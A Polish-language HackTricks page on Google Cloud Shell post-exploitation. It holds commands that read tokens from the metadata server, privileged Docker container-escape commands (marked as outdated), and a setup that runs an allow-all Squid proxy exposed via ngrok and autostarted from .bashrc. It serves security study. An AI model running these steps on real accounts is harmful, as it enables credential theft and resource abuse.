GCP - Cloud Shell Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Cloud Shell

Aby uzyskać więcej informacji o Cloud Shell zobacz:

GCP - Cloud Shell Enum

Pobiera token użytkownika z metadata

Wystarczy uzyskać dostęp do serwera metadata, aby otrzymać token umożliwiający dostęp jako aktualnie zalogowany użytkownik:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Wcześniej cloud shell działał w kontenerze z dostępem do docker socket hosta. Teraz Google zmieniło architekturę i kontener cloud shell działa w konfiguracji “Docker in a container”. Dlatego nawet jeśli możliwe jest użycie docker z cloud shell, nie będziesz w stanie uciec na hosta używając docker socket. Zauważ, że wcześniej plik docker.sock znajdował się w /google/host/var/run/docker.sock, ale teraz został przeniesiony do /run/docker.sock.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Co więcej, w przeszłości można było znaleźć token dla service account używanego przez cloud shell VM w metadata server:

Stary service account z metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Z następującymi zakresami: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Użyj jej jako Proxy

Jeśli chcesz używać swojej instancji google cloud shell jako proxy, musisz wykonać następujące polecenia (lub wstawić je do pliku .bashrc):

<details>

<summary>Zainstaluj Squid proxy</summary>
```bash
sudo apt install -y squid

Dla informacji — Squid to http proxy server. Utwórz plik squid.conf z następującymi ustawieniami:

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

skopiuj plik squid.conf do /etc/squid

Skopiuj konfigurację do /etc/squid ```bash sudo cp squid.conf /etc/squid ```

Na koniec uruchom usługę Squid:

Uruchom usługę Squid ```bash sudo service squid start ```

Użyj ngrok, aby proxy było dostępne z zewnątrz:

Wystaw proxy przez ngrok ```bash ./ngrok tcp 3128 ```

Po uruchomieniu skopiuj adres tcp://. Jeśli chcesz uruchomić proxy z przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać port w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).

Dla wygodniejszego użycia przy uruchomieniu systemu plik .bashrc powinien zawierać następujące linie:

Dodaj do .bashrc dla automatycznego uruchamiania ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Instrukcje zostały skopiowane z https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie wszelkiego rodzaju oprogramowania (databases i nawet windows) w Cloud Shell.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks